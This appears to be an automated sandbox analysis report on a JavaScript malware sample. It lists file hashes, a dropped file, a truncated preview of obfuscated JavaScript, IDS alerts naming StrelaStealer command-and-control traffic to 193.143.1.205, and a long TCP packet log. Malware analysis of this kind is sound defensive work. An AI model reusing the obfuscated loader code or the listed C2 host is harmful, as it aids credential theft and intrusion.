Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15991), with CRLF line terminators
Entropy (8bit):	4.892817802859363
TrID:
File name:	2926013193173129097.js
File size:	19'430 bytes
MD5:	63885cad1d0a1f7a65ccad900b5cf36d
SHA1:	06d98b2d125e18fcd50d7d131a488b2c4efc8454
SHA256:	fd9c24f13db35b0035b82f6612d092ada9575d0bc494783070a01e0b668fdb6b
SHA512:	294b77b61499c6e426c0ba9fe96f7250b72840367887571c1813f051c014a49e304559ba61ad3344a6632d325c0c89822895f5fd86c950b5ebc25d088366485f
SSDEEP:	384:bFCnK5SDkrkYM7pkaVEyeLrEA2CYBlguSZtfQOcmaEeKBRSyIMthx:bFCnySDkrkYM7pkaVEyeLrEA2CYBlguE
TLSH:	F49231C1D20986FBC8F405E03BEA9424739D8298DB94A1D19900BDAC2F5D65B96E12FE
File Content Preview:	function pamrppug(){cfwmtyv=[1031,3079,5127,4103,2055,3072];var nmyzpnysv=this[cqfkdizb+xnaehh+kunxzdt+qhwtmemut+cyokvcvo+vgvfyhk+ovmnt+mhuhtn](this[vzsqghaws+asbfyy+zykkhzfhh+kunxzdt+uqpsgv+cqfkdizb+mhuhtn][lycipib+kunxzdt+cyokvcvo+xnaehh+mhuhtn+cyokvcvo

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:59:09.462679+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T04:59:09.462679+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T04:59:11.659069+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:59:08.670185089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:08.675151110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:08.675331116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:08.678488016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:08.683360100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.462562084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.462615967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.462654114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.462678909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.462690115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.462723970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.462740898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.462759018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.462800980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.462805986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.462836981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.462871075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.462879896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.462908983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.462954044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.467778921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.516669989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.516726017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.516880035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.565300941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.580575943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.580625057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.580694914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.580729961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.580769062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.580822945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.580822945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.580882072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.580919981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.580949068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.580980062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.581027985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.581187963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.581571102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.581614971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.581626892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.581717968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.581762075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.581763983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.581820965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.581861973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.582597017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.582632065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.582668066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.582678080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.582703114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.582740068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.582748890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.583411932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.583458900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.645112991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.645133972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.645302057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.687490940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.687517881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.687536001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.687661886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.698786974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.698882103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.698915005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.698932886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.698935986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.699023008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.699034929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.699065924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.699203968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.699203968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.699362040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.699373007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.699383974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.699394941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.699410915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.699443102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.699817896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.699830055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.699841022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.699871063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.699892998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.699913025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.699922085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.699934006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.699981928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.700680971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.700692892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.700725079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.700728893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.700741053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.700751066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.700766087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.700777054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.700783014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.700805902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.701706886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.701745033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.701756954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.701757908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.701772928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.701780081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.701781034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.701788902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.701793909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.701822996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.702744961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.702760935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.702775002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.702786922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.702799082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.702801943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.702811956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.702822924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.702824116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.702851057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.703561068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.703592062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.703603029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.703613043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.703618050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.703632116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.732264996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.732286930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.732300997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.732325077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.732352018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.774456978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.774477959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.774652958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.804812908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.804833889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.804845095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.804857969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.804995060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.804995060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.805027962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.805039883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.805074930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.816242933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.816255093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.816267014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.816278934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.816304922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.816426039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.816426039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.816565990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.816585064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.816613913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.816613913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.816627026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.816639900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.816654921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.816658020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.816672087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.816678047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.816723108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.817496061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.817517996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.817531109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.817543983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.817558050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.817565918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.817584991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.818108082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.818146944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.818159103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.818167925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.818170071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.818202972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.818207979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.818248987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.818260908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.818264008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.818303108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.819076061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.819096088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.819129944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.819140911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.819149017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.819160938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.819171906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.819184065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.819185019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.819200993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.820120096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.820132017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.820143938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.820157051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.820164919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.820169926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.820183039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.820192099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.820202112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.820219040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.820241928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.820945978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.820983887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.821000099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.821023941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.821027040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.821039915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.821052074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.821064949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.821074009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.821094990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.821938038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.821949005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.821959972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.821979046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.821979046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.821991920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.822001934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.822005033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.822014093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.822026968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.822048903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.822954893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.822964907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.822974920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.822984934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.822997093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.823005915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.823012114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.823014975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.823040962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.823887110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.823898077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.823909044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.823919058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.823930025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.823934078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.823941946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.823954105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.823956013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.823977947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.823991060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.824757099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.824768066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.824778080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.824822903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.826421022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.861387968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.861399889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.861409903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.861421108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.861567020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.891756058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.891777039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.891789913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.891801119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.891813993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.891824961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.891834021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.891836882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.891921043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.891932964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.891958952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.891968012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.891993046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.891993046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.891993046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.892009020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.903321028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.903331995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.903342962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.903357029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.903367996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.903369904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.903541088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.922390938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.922406912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.922418118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.922429085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.922440052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.922450066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.922451973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.922489882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.922501087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.922511101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.922523022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.922655106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.922655106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.922655106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.922655106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.933389902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933393002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933451891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.933675051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933689117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933707952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933721066 CET	49704	80	192.168.2.5	193.143.1.205
